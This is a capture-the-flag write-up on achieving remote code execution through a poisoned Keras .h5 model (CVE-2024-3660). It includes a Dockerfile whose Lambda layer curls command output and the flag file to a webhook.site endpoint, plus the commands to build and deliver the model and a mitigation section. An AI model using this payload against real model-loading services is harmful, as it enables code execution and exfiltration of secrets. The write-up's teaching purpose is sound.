CyberKavach QuestCon Series: Exploiting Keras Model Deserialization (CVE-2024-3660)

Exploiting Keras Model Deserialization (CVE-2024-3660)


Welcome back to another exciting write-up in the CyberKavach QuestCon series! This time, we explore a modern AI security challenge: exploiting a vulnerable Keras/TensorFlow stack for Remote Code Execution (RCE) using a recent CVE.


Author: Aaryan Bhujang

Challenge Overview

  • Category: Machine Learning / AI Security

  • Vulnerability: Insecure Keras Model Deserialization (CVE-2024-3660)

  • Theme: Stranger Things AI Platform

  • Goal: Achieve code execution via a poisoned Keras model and retrieve the flag.


Reconnaissance: Spotting the Vulnerable Stack

Start by navigating to the app’s landing page and inspecting source code.

  • Use browser Developer Tools or View Page Source.

  • Search for tensorflow or tf. Reveal usage of tensorflow-cpu-2.12:

  • <!-- asset: tensorflow-cpu-2.12-cp38-manylinux.whl -->

  • Cross-check against CVE databases: this version is affected by CVE-2024-3660, which allows arbitrary code execution when untrusted models are deserialized using Lambda layers.


Vulnerability Background

CVE-2024-3660 arises because Keras Lambda layers (in H5 or legacy SavedModel formats) can embed marshalled Python bytecode which is unsafely executed (via marshal and func_load) upon model loading. Attackers can encode arbitrary code into a model, and environments not enforcing safe_mode=True can be compromised. This is especially dangerous in ML supply chains and public AI datasets.​

Weaponizing the Exploit: Building a Malicious Model

PoC Preparation

Use the public repo aaryanbhujang/CVE-2024-3660-PoC as a reference. The goal: Build Keras .h5 models with Lambda layers that run OS commands to exfiltrate secrets.

  1. Pin the TensorFlow/Keras environment

    • Use Docker to pin tensorflow-cpu-2.13.1 (for demonstration; challenge uses the vulnerable version).

  2. Create Lambda layers to run OS commands

    • For exfiltration, use a webhook endpoint from 

    • webhook.site

    •  or similar.

Dockerfile Example: Build malicious model for whoami

FROM --platform=linux/amd64 python:3.8-slim

WORKDIR /code

RUN apt-get update && apt-get install -y curl wget

RUN curl -k -LO https://files.pythonhosted.org/packages/[TensorFlow_Wheel_URL]

RUN pip install ./tensorflow-cpu-2.13.1-[...].whl

RUN rm ./tensorflow-cpu-2.13.1-[...].whl && rm -rf /var/lib/apt/lists/*

RUN python3 <<EOF

import tensorflow as tf

def arbexex(x):

    import os

    os.system('curl https://webhook.site/uuid?exf=$(whoami)')

model = tf.keras.Sequential()

model.add(tf.keras.layers.Input(shape=(64,)))

model.add(tf.keras.layers.Lambda(arbexex))

model.compile()

model.save('whoami.h5')

EOF

ENTRYPOINT ["/bin/bash"]




Build Payload Variants

  • whoami: Reveal the username running the ML app.

  • ls: List the project directory.

  • cat flag.txt: Send the flag file contents to your webhook.

The Lambda layers in each are similar; you can chain commands or keep them atomic for reliability.

Delivering the Payload: Uploading and Triggering the Model

  1. Upload the .h5 file to the target CTF app via Import/Load Model feature.

  2. When the backend loads and "validates" the user-supplied model, it triggers the malicious Lambda layer.

  • Use minimal model shapes (e.g., Input(64,)) to maximize compatibility.

  • Return data via HTTP requests to your webhook to avoid output formatting issues (base64 encoding can also help).



Exploit in Action: End-to-End

1. Build and extract the artifact:


docker build -t tf-keras-cve3660-whoami .

cid=$(docker create tf-keras-cve3660-whoami)

docker cp $cid:/code/whoami.h5 ./whoami.h5

docker rm -v $cid

(Repeat for ls.h5, hactf.h5 payloads)

2. Upload the model to CTF app.

3. Trigger validation or inference where Lambda executes.

4. Webhook receives exfiltrated data.

  • Confirm user:
    curl https://webhook.site/uuid?exf=www-data

  • Confirm path:
    curl https://webhook.site/uuid?exfls=app.py flag.txt ...

  • Exfiltrate flag:
    curl https://webhook.site/uuid?zexHACTF...REDACTED...


Technical Deep Dive: Why This Works

  • Keras serializes Lambda layers using marshalled Python code, which is executed upon deserialization unless stopped by safe_mode.

  • Deserialization pipeline:

    • Entry: saving_lib.load_model

    • Core: _model_from_config → deserialize_keras_object

    • Critical: _retrieve_class_or_fn instantiates Python objects from configs.

  • Safe mode added in TF/Keras >=2.13 blocks Lambda deserialization by default, but older stacks remain vulnerable.​


Key Results and Security Lessons

  • Arbitrary Code Execution: Keras models with Lambda layers persist callables; loading these models executes arbitrary code.

  • Supply Chain Risk: Trojanized models can affect downstream users of ML datasets.

  • Mitigation: Always use safe_mode=True in environments where user models are loaded, and restrict Lambda layer deserialization.​

  • Explicit Policy: Validate and sanitize uploaded models prior to loading.

Final Flag

The exfiltrated flag arrives at your webhook, for example:

questCON{kerasCVE4660hostedflag}


Summary & Real-World Impact

  • This challenge teaches practical AI security skills: ML model analysis, CVE implementation, supply chain awareness.

  • Any modern AI deployment must defend against poisoned models and untrusted ML artifacts.

  • Up-to-date frameworks and principle-of-least-privilege are mandatory for production security.


Congratulations to all who solved this AI/ML exploitation task and uncovered a real-world attack vector!


Comments

Popular posts from this blog

CyberKavach QuestCon Series: Upside-Down Vault

From Open Networks to Safe Systems: How Firewalls Block the Hacker’s Doorway

CyberKavach QuestCon Series: VecNet